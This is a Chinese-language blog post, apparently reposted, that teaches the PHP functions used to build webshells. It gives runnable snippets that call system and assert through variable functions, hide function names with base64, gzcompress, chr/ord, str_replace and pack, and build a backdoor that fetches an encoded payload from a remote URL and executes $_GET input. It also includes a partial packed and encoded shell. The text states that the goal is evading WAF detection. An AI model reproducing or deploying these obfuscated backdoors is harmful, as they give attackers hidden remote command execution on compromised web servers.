php webshell常見函數


0x1

直接在字符串變量后面加括號, 會調用這個函數:

<?php $s = 'system'; $e = 'assert'; $s('whoami'); $e('phpinfo();');

 

0x2

執行命令常用的函數有:

system('命令'eval('php code') assert('php code')

這三個最常用

 

0x3

base64_encode/base64_decode

<?php $b = base64_encode('whoami'); echo $b.'<br />'; echo base64_decode($b).'<br />';

 

0x4

gzcompress/gzuncompress 壓縮數據

<?php $c = gzcompress('whoami'); echo $c.'<br>'; echo gzuncompress($c)."<br />";

 

0x5

從上面的命令執行, base64加解64編碼與gz壓縮, 我們可以寫一個這樣的后門。

先把后門壓縮, 再把后門base64_encode(base64編碼后防止字符原因代碼出錯)。

如果后門是一個php代碼的話, 在最后我們可以用assert或eval執行它。

在php中, 有一個這樣的函數:

file_get_contents(url)

用這個函數可以遠程獲取文件內容保存到變量中:

$shell = file_get_contents('http://localhost/shell.jpg')

開始測試, 從最簡單例子開始。

制作gzcompress與base64_encode編碼過的文件:

<?php $c = 'system'; $data = gzcompress($c); $file_data = base64_encode($data); echo $file_data; fwrite(fopen('shell.txt', 'w'), $file_data);

這樣我們就創了一個壓縮后再64編碼的system字符串

使用:

<?php $c = file_get_contents('http://localhost/shell.txt'); #獲取數據
$s = gzuncompress(base64_decode($c)); #解密數據

$s($_GET[session]); #執行命令

 

那么問題來了, 我們為什么要轉了一大圈再回來呢?

原因很簡單, 就是你壓縮后的數據, 有可能一些WAF並不會檢測到內容存在危險。

 

 

0x6

ascii轉碼函數: chr/ord

<?php $str = 'system'; for($count = 0; $count < strlen($str); $count++){ echo substr($str, $count, 1).'~'.ord(substr($str, $count, 1)).'<br />'; }
/*
s~115
y~121
s~115
t~116
e~101
m~109*/

 

0x7

str_replace字符替換函數:

<?php $s = str_replace('p','','pspypsptpepmp'); echo $s;
#system

 

 

0x8

create_fuction()創建匿名函數:

<?php #create_function('參數列表', 'php代碼字符串');
$info = create_function('','phpinfo();'); $info();

 

0x9

pack函數

pack('格式', 十六進制字符串)

pack函數有點復雜, 但不常用, 如果你要把一個十六進制轉成字符, 可以這樣:

<?php $x = bin2hex('system'); $s = PACK('H*', $x); echo $s.'<br />'; $s('whoami');

pack關鍵用法就是, 我們可以把一些第感的函數, 先轉成16進制, 再 pack回來。

比如, create_function('', $shell)中, $shell為php code代碼, 我們可以在php code中利用隱藏一些敏感函數。

<?php $shell=PACK('H*','2470617373776F72643D27').$password.
PACK('H*','273B247368656C6C6E616D653D27').$Username.
PACK('H*','273B246D7975726C3D27').$Url.
PACK('H*','273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827').' eJzs/Xt3HNd5Jor/zazl71Buw2rAwqXu1UUQsOpKgheABEBSlK iD02g0gCYaaKi7QYCi+GEczZxoHM+KJetiWzdbkmNZsi1FkmXH yzOT8WQyk/HPcybJTJKZJLN+z7N3VXVVX0BQtpPJOoZEoLtq3/ d73+/77tb6WqdbbXfHJ2Y/8zsb9c3GXn28vHunurHRrnc65cmx tZVo+Vq0/Hh5JVheuLy6Fi9cjBa9S1H5iXyN/Vanu18VFfjnsN XeyL/ubNebzb3qbh3vs8/FHg/aTbwUf/misTn+yFa9u7Zb3WrU ....... $f = create_function('', $shell); $f();

 

 

pack用法可以參孝一下這里: perl pack

 

總結

創建一個gz壓縮再base64編碼的文件(如 logo.png), 利用file_get_contents獲取。

利用str_replace/chr/ord/create_fuction函數繞過一些WAF檢測。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM